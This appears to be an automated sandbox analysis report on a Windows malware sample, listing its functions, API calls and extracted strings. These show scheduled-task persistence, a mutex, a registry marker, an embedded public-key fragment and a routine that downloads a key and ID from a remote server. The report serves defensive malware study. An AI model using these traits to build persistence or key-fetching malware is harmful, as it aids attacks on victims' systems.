Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 903447c62e365962114c64be5f424243c21a21d6cb7906850a4327d6e2cf3d0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 81E15D75D40219EBCF24DBA0DD49FEEB7B8BF04304F14406AE609B6190EB74AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05DED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DED8EA

Strings

, xrefs: 05DEDADB
$, xrefs: 05DEDAE2
(, xrefs: 05DEDAE9

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 536adda3835efb141411ff40181541e98132b68629be5dea671f42aa96cbae39
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: E491BF71D00218EBEF21EFA0CC59BEEBBB5AF05304F14416AD515772C0DBB65A88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05DFA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DFA858
_memset.LIBCMT ref: 05DFA869
_memset.LIBCMT ref: 05DFA87A

Strings

p2Q, xrefs: 05DFA882

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 08b067ffaf8f842dfb2eb39190dd65c6b6be97f1aa309e85500c3bcb7a925abf
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 61F0ED78698751A5F7217750BC2AB897E917B31B08F105088E1582E2E1D3FD238DA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05E2FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E2FBF1

Part of subcall function 05E1169C: std::exception::_Copy_str.LIBCMT ref: 05E116B5

__CxxThrowException@8.LIBCMT ref: 05E2FC06

Strings

TeM, xrefs: 05E2FBFB, 05E2FBE7
TeM, xrefs: 05E2FBFE

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 6c37015a6bd94fc20c2d192dd6d2c7548c98d6958e8416df91fd2f4f41ebc1c6
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 83D06775D0020CBBCB04EFA5D459CDDBBB8AA04344B00C466AE5597245EA74A349CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05DED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E0197D: __wfsopen.LIBCMT ref: 05E01988

_fgetws.LIBCMT ref: 05DED15C

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: b5d300ffe4ee1e9d8c7f78ec1ae3ee1ab83168f0cfc790b9bff96a8d2c818e13
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 8A918271D00319ABCF21FFA4CD45BAEB7F6BF04214F14052ED855A7280EB75AA44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05DED77E
_malloc.LIBCMT ref: 05DED7B2
_malloc.LIBCMT ref: 05DED7C1
_fprintf.LIBCMT ref: 05DED815

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 27f813a24b3dd596555698c3446bb58e5d0b6c93ca4c831612e857206e0c52a0
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 59A18DB1D00248EBEF11EFA4CC4EBDEBBB1AF14304F141029D5457B291D7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E02AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E02B2E
__read_nolock.LIBCMT ref: 05E02BFE
__filbuf.LIBCMT ref: 05E02C21
_memset.LIBCMT ref: 05E02C65

Part of subcall function 05E05BA8: __getptd_noexit.LIBCMT ref: 05E05BA8

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: f2928f2b1461af0d35573f71a130fda99844362f15613ddcb0539e7176c3c98a
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: F451A538A042059BEB259F69C88C5AE77E6BF40334F14B329EAB5962D0D77099D18F40

Uniqueness

Uniqueness Score: -1.00%

Function 05E21359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E2137D

Part of subcall function 05E21A9D: __fltout2.LIBCMT ref: 05E21AC6

__cftog_l.LIBCMT ref: 05E213A3
__cftoe_l.LIBCMT ref: 05E213D5

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: a0065a62e00489f1dc372492aa6632e6e00c225caede3f3c6eda3b7e3c8223b2
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 68017B3280415EFBCF1A5F84CC05CEE3F63BB18244B0A9414FA9958838D232C6B2EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05EA7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05EA7A4B

Part of subcall function 05EA8140: ___BuildCatchObjectHelper.LIBCMT ref: 05EA8172
Part of subcall function 05EA8140: ___AdjustPointer.LIBCMT ref: 05EA8189

_UnwindNestedFrames.LIBCMT ref: 05EA7A62
___FrameUnwindToState.LIBCMT ref: 05EA7A74
CallCatchBlock.LIBCMT ref: 05EA7A98

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: a758289b5e2beaf28ff1a68e78f031145c8190463bc1db556c3af24cfbe33e02
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 5601D733500109BBDF12AF65CC04EDA7BAAFF49758F159014F99969120D732E961DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: n8XBpFdVFU.exePID: 1228, Parent PID: 6604COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,007AB0A8,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Program Files\Google\, xrefs: 0041B0EE
X1P, xrefs: 0041A485
%username%, xrefs: 0041B283
IsTask, xrefs: 0041A1EE, 0041A299
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Windows\, xrefs: 0041AE0F
C:\Program Files\Google\, xrefs: 0041AFB9
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
F:\, xrefs: 0041B397
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
IsNotAutoStart, xrefs: 0041A645
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
x2Q, xrefs: 0041A856
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--AutoStart, xrefs: 0041A2EC
--Admin, xrefs: 0041A1B4, 0041A632
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
IsNotTask, xrefs: 0041A654
runas, xrefs: 0041A6CE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
--ForNetRes, xrefs: 0041A22E
<, xrefs: 0041A67B
D:\Windows\, xrefs: 0041AFF3
--Task, xrefs: 0041A2CD
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
list<T> too long, xrefs: 0041B669, 0041B673
7P, xrefs: 0041B164
x*P, xrefs: 0041ACE4
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
--Service, xrefs: 0041A30B

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-526584959
Opcode ID: f67b4abe2e37022f39dba5688bf639af0f3fa85adf1010fab9f1d3cb37433511
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: f67b4abe2e37022f39dba5688bf639af0f3fa85adf1010fab9f1d3cb37433511
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,53BA5F60), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

Module32First, xrefs: 00481E26
Thread32First, xrefs: 00481E00
Heap32ListNext, xrefs: 00481DC7
GetQueueStatus, xrefs: 00481C6B
GetForegroundWindow, xrefs: 00481C4A
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
CreateToolhelp32Snapshot, xrefs: 00481D67
$, xrefs: 00481F7E
Heap32First, xrefs: 00481D8E
Thread32Next, xrefs: 00481E13
Process32First, xrefs: 00481DDA
Process32Next, xrefs: 00481DED
USER32.DLL, xrefs: 00481C31
GetCursorInfo, xrefs: 00481C58
LanmanServer, xrefs: 00481A74
KERNEL32.DLL, xrefs: 0048199C
CryptAcquireContextW, xrefs: 00481AD5
CryptReleaseContext, xrefs: 00481AF6
ADVAPI32.DLL, xrefs: 00481989
Module32Next, xrefs: 00481E39
Heap32Next, xrefs: 00481DA1
NETAPI32.DLL, xrefs: 004819A9
NetStatisticsGet, xrefs: 004819E2
CryptGenRandom, xrefs: 00481AE3
NetApiBufferFree, xrefs: 004819F0
CloseToolhelp32Snapshot, xrefs: 00481D7B
LanmanWorkstation, xrefs: 00481A26
Heap32ListFirst, xrefs: 00481DB4

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

", xrefs: 0041ECA0
&first=true, xrefs: 0041E930
.bit/, xrefs: 0041E7A3
Microsoft Internet Explorer, xrefs: 0041E736
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
&first=false, xrefs: 0041E937
{"public_key":", xrefs: 0041EA2E, 0041EA8D
","id":", xrefs: 0041EBC5, 0041EC4C
?pid=, xrefs: 0041E884

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 32f7ab9b5362707bd017fb0058524adfcd58097c6874d0de101f74676c0c4ef8
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 32f7ab9b5362707bd017fb0058524adfcd58097c6874d0de101f74676c0c4ef8
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Author Name, xrefs: 0040D4C8
--Task, xrefs: 0040D8DD
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
PT5M, xrefs: 0040D5A1, 0040D66C
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Trigger1, xrefs: 0040D6FA
2030-05-02T08:00:00, xrefs: 0040D737
Time Trigger Task, xrefs: 0040D43C, 0040D973

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
